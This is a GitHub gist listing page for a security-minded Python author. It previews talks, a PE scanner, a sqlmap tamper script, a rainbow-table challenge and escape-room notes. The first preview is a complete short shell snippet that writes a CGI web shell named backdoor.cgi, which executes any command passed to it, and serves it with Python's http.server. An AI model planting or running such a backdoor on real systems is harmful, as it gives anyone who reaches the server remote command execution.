Skip to content

Instantly share code, notes, and snippets.

View gist:38dcff6a0975f148aa858e924d64c492
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
@MarkBaggett
MarkBaggett / Corona data.ipynb
Last active Apr 3, 2020
Corona Virus Testing Statistics Jupyter notebook
View Corona data.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@MarkBaggett
MarkBaggett / twit_interests.py
Last active Jan 18, 2020
Determine a persons interests based on who they follow
View twit_interests.py
#!/usr/bin/env python
"""Twit Interest will infer a persons interests based upon the most common words in the descriptions of those they follow"""
from twython import Twython
from collections import Counter
import sys
#Twython isn't a standard module. "python -m pip install twython" to install it. If no pip run this https://bootstrap.pypa.io/get-pip.py
twit = Twython(<your twitter APP KEY HERE> , < Your twitter Secret key here >)
#Need a key? Go https://apps.twitter.com/app/new Create app. Put anything you want for the values in the app.
@MarkBaggett
MarkBaggett / pe_scan_difficult_finished.py
Last active Jul 4, 2019
Python Windows DLLs finding and calling
View pe_scan_difficult_finished.py
import pefile
import sys
import ctypes
import glob
import argparse
import itertools
def search_tables(thefile, pename, search = []):
if hasattr(thefile, "DIRECTORY_ENTRY_IMPORT"):
if args.verbose or args.dump:
@MarkBaggett
MarkBaggett / 1 - pythons_sinister_secrets.md
Last active Jul 23, 2020
Come To The Darkside - Pythons Sinister Secrets
View 1 - pythons_sinister_secrets.md
@MarkBaggett
MarkBaggett / Decorators_demystified.md
Last active May 16, 2020
Decorators Demystified Presentation
View Decorators_demystified.md
@MarkBaggett
MarkBaggett / escape_room
Last active Mar 31, 2020
Notes on an escape room using home assistant.
View escape_room
As requested here is a walk through for the "Escape room" challenge I threw together for a party at my house. This was developeed in about 5 hours. It took guests about 45 minutes to complete. I have several things I would like to do to improve it over the next could iterations.
Notes to the reader:
- Requires Home Assistant https://www.home-assistant.io
- Requires App Daemon https://www.home-assistant.io/docs/ecosystem/appdaemon/
- My home includes Philips Hue lights, Ecobee thermostat, arlo cameras, some smart TV's and other devices used in the challenges.
- It is not shown in the code below but I also have printed puzzles and ammo boxes with combination locks throughout the house. Generally a printed puzzle leads players to physical activity that triggers a "smart home puzzle" which leads them to a combination to unlock the next ammo box containing the next printed puzzle. Lather, rince, repeat.
- Not all puzzles are published here but this is enough to get your creative juices flowing.
- Th
View gist:29995da8bd4e22681ad8cf2bdb139fb2
#!/usr/bin/env python3
import argparse
import math
import random
import hashlib
import codecs
"""
Given the following MD5 Rainbow table that was generate using this program, determine
the password for this hash bcccb2598de87da2952522eae448b356. You must use this program
@MarkBaggett
MarkBaggett / pxpowershell.py
Created Nov 29, 2017
pxpowershell - A super simple interface to Powershell from Python
View pxpowershell.py
#!/usr/bin/env python
#Quick and Dirty Python Interface to Powershell from Python
#Requires pexpect module. Try "pip install pexpect"
import pexpect
from pexpect.popen_spawn import PopenSpawn
import re
import time
class pxpowershell(object):
def __init__(self, *args, **kwargs):
@MarkBaggett
MarkBaggett / custom_caesar.py
Last active Jun 13, 2020
Python - SQLMAP - Tamper Script for Custom Caesar Cypher
View custom_caesar.py
#!/usr/bin/env python
from lib.core.data import kb
from lib.core.enums import PRIORITY
import string
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
You can’t perform that action at this time.